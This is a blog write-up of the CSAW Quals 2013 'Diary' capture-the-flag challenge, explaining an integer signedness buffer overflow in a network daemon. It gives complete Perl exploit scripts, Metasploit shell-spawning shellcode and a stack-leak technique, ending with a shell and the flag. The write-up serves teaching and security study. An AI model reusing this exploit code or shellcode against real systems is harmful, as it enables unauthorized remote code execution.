Monday, September 23, 2013

CSAW Quals 2013 - Diary (Exploitation 300)

In this task we were given 32 bit x86 Linux binary "fil_chal".
First let's check it's hardening status:

$ checksec.sh --file fil_chal
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   fil_chal

Ok, so we have executable stack that we can use for our exploit - we only have to defeat stack randomisation.

Of course we first have to find vulnerability, so let's start by loading the binary in IDA and using Hex Rays decompiler.

Binary decompiled cleanly and we won't need IDA anymore.

Looking through fil_chal.c file shows standard TCP daemon setup - binary listens on port 34266 and forks after accepting a connection.

After connecting to the port we are greeted by username/password prompt:
     *************    $$$$$$$$$        AAAAAAA  *****                   *****
    *   *******  *    $ $$   $$        A     A   *   *                 *   *
    *  *       ***     $ $   $$       A  A A  A   *   *               *   *
    *  *                $ $          A  A___A  A   *   *             *   *
    *  *                 $ $        A           A   *   *    ****   *   *
    *  *                  $ $      A     AAA     A   *   *   *  *  *   *
    *  *       ***         $ $     A    A   A    A    *   ***   ***   *
    *  ********  *   $$$$$$   $    A    A   A    A     *             *
     *************   $$$$$$$$$$    AAAAAA   AAAAAA      *************
                Dairy

UserName:
Password:
By searching for UserName string it's easy to discover under function responsible for authentication and hardcoded credentials:

v9 = (int)"csaw2013";
v15 = (int)"S1mplePWD";
Quick check of login process shows no vulnerabilities - all buffers have correct size.

After logging in with our stolen credentials application asks for entry size and then reads given number of bytes from the client.

Data is then written to a file which is immediately deleted after that (not really that useful as a diary ;)

As one can expect the vulnerability is a buffer overflow while reading the entry.

Code responsible for reading entry size:

  __int16 v6; // [sp+1Ah] [bp-Eh]@1

  ...

  if ( read(fd, &buf, 0xAu) == -1 )
  {
    perror("read: ");
    result = 0;
  }
  else
  {
    v6 = atoi((const char *)&buf);
    if ( v6 )
    {
      *(_WORD *)a2 = v6;
      result = 1;
    }
    else
    {
      send(fd, "Invalid Input or need atleast a size of 1\n", 0x2Au, 0);
      result = 0;
    }
  }
atoi() result is then used as an argument for read() in following code (sub_8048EFE)

...
  n = a2;
  if ( (unsigned int)(a2 + 1) <= 0x400 )
  {
    v7 = recv(fd, &buf, n, 0);
    if ( v7 == -1 )
    {
      perror("recv: ");
...
atoi() result could be negative and mixing it with unsigned argument is always a bad idea, but author put in the check to prevent overflowing the buffer.

Lucky for us the check has +1 in it - introducing the vulnerability.

If we pass "-1" as a note size (a2+1) will be 0 and will pass the check, but recv() will receive -1, which will be interpreted as 0xffffffff giving us a buffer overflow.

Sending -1 as entry size and 1067 bytes will overwrite saved ip.

As said before stack is executable so we can upload shellcode of our choice in submitted diary entry, we only have to find out it's location in memory.

We can use the send() function to leak stack memory.

Let's run binary under gdb, break at last instruction of sub_8048EFE and look at the stack layout:

Breakpoint 2, 0x08049112 in ?? ()

(gdb) x/20xw $esp
0xbffffab8:     0x41414141      0x41414141      0x00000008      0xffffffff
0xbffffac8:     0x0000000c      0x00000000      0xb7f0a249      0xb7fc6ff4
0xbffffad8:     0xbffffaf8      0xffffffff      0x00000000      0xffff0000
0xbffffae8:     0x0804967b      0x0804966e      0xb7fc6ff4      0x00000000
0xbffffaf8:     0xbffffbe8      0x08048bde      0x00000008      0xbffffbb4

There are 2 interesting two addresses in stack range - 0xbffffaf8 and 0xbffffbe8.

Both point to stack areas with useful addresses, but first proved to produce different results at remote server, while second (0xbffffbe8) worked perfectly.

Let's also check the address of input buffer 'buf', we'll need it later:

|0x8048f5e       mov    DWORD PTR [esp+0xc],0x0
|0x8048f66       mov    edx,DWORD PTR [ebp-0x14]
|0x8048f69       mov    DWORD PTR [esp+0x8],edx
|0x8048f6d       lea    edx,[ebp-0x41c]
|0x8048f73       mov    DWORD PTR [esp+0x4],edx
>|0x8048f77       mov    DWORD PTR [esp],eax
|0x8048f7a       call   0x8048890 <recv>

(gdb) p/x $edx
$3 = 0xbffff69c
Our call to send() has to be placed before our chosen stack address, so we have to raise esp to get there - instead of searching for better gadgets I just used "RET" multiple times - there is no limit on exploit length.

Here's final code use to leak the stack:


#!/usr/bin/perl

use IO::Socket::INET;
use warnings;
use IO::Select;
use bytes;

$| = 1;

our $socket = new IO::Socket::INET(
  PeerHost => $ARGV[0],
  PeerPort => '34266',
  Reuse => 1,
  Proto => 'tcp',
) or die "ERROR in Socket Creation : $!\n";

print $socket "csaw2013\nS1mplePWD\n-1\n";

my $data;

$socket->recv($data, 66666);


print $socket "A" x 1056,
"\x13\x91\x04\x08" x 13, # sequence of RETs to raise esp
"\x04\x8d\x04\x08", # address of send() call
"\x04\x00\x00\x00", # socket fd
;


$socket->recv($data, 66666);

print $data;
This will produce following output:

...
00002b8: 7377 6f72 643a 2057  sword: W
00002c0: 656c 636f 6d65 210a  elcome!.
00002c8: 6874 7470 3a2f 2f79  http://y
00002d0: 6f75 7475 2e62 652f  outu.be/
00002d8: 4b6d 747a 5143 5368  KmtzQCSh
00002e0: 3678 6b0a 0a45 6e74  6xk..Ent
00002e8: 7279 2049 6e66 6f3a  ry Info:
00002f0: 2060 e8f1 b700 0000   `......
00002f8: 0000 0000 0000 0000  ........
0000300: 0080 39fd b700 0000  ..9.....

Right after 'Entry info: ' prompt we have our precious stack address - 0xb7f1e860.

Now all we have to do is run the same script on our local host - comparing them will give us an offset.

Let's add this offset to our previosly discovered 'buf' address and we have what we need - address of our input buffer on the server.

All we need now is a shellcode. I've generated it from metasploit's msfpayload (bash fd redirection is used in arguments):

$ msfpayload linux/x86/exec CMD="/bin/bash 1>&4 0<&4" P
# linux/x86/exec - 55 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependSetresuid=false, 
# PrependSetreuid=false, PrependSetuid=false, 
# PrependSetresgid=false, PrependSetregid=false, 
# PrependSetgid=false, PrependChrootBreak=false, 
# AppendExit=false, CMD=/bin/bash 1>&4 0<&4
my $buf = 
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" .
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x14\x00\x00" .
"\x00\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x31\x3e\x26" .
"\x34\x20\x30\x3c\x26\x34\x00\x57\x53\x89\xe1\xcd\x80";

Here's a script go gain shell:

#!/usr/bin/perl

use IO::Socket::INET;
use warnings;
use IO::Select;
use bytes;

$| = 1;

our $socket = new IO::Socket::INET(
  PeerHost => $ARGV[0],
  PeerPort => '34266',
  Reuse => 1,
  Proto => 'tcp',
) or die "ERROR in Socket Creation : $!\n";

print $socket "csaw2013\nS1mplePWD\n-1\n";

my $data;
$socket->recv($data, 6666666);



my $shellcode=
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" .
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x14\x00\x00" .
"\x00\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x31\x3e\x26" .
"\x34\x20\x30\x3c\x26\x34\x00\x57\x53\x89\xe1\xcd\x80";



print $socket "A" x 1056,
"\x4a\xf6\xff\xbf", # calculated return address
"\x90" x 20, # short nopsled just in case
$shellcode; # shellcode

# interact with shell
my $ioset = IO::Select->new;

$ioset->add(\*STDIN);
$ioset->add($socket);

my $data;

while(@ready = $ioset->can_read)
{
  foreach $fh (@ready)
  {
    if ($fh == $socket){
      $socket->recv($data, 6666666);
      print $data;
    }else{
      my $cmd = <STDIN>;

      print $socket $cmd;
    }
  }
}

$socket->close();

Let's run it:

perl shell.pl 128.238.66.217
     *************    $$$$$$$$$        AAAAAAA  *****                   *****
    *   *******  *    $ $$   $$        A     A   *   *                 *   * 
    *  *       ***     $ $   $$       A  A A  A   *   *               *   *  
    *  *                $ $          A  A___A  A   *   *             *   *   
    *  *                 $ $        A           A   *   *    ****   *   *
    *  *                  $ $      A     AAA     A   *   *   *  *  *   *
    *  *       ***         $ $     A    A   A    A    *   ***   ***   *
    *  ********  *   $$$$$$   $    A    A   A    A     *             * 
     *************   $$$$$$$$$$    AAAAAA   AAAAAA      ************* 
                Dairy

UserName: Password: Welcome!
http://youtu.be/KmtzQCSh6xk

Entry Info: 
id
uid=1001(crackme) gid=1001(crackme) groups=1001(crackme)
ls
fil_chal
key
cat key
key{signness_oh_what_a_world_we_live_in}

Success!

4 comments:

  1. you're using send to dump data from one of those 2 addresses you've discovered or what?

    Thanks.

    ReplyDelete
    Replies
    1. Sorry for the late reply, I didn't get a new comment notification.
      Yes, I'm using send() to dump stack memory at address 0xbffffbe8.

      Delete
  2. This comment has been removed by the author.

    ReplyDelete
  3. you said "prompt we have our precious stack address - 0xb7f1e860." ? why this stack address is so important ?

    ReplyDelete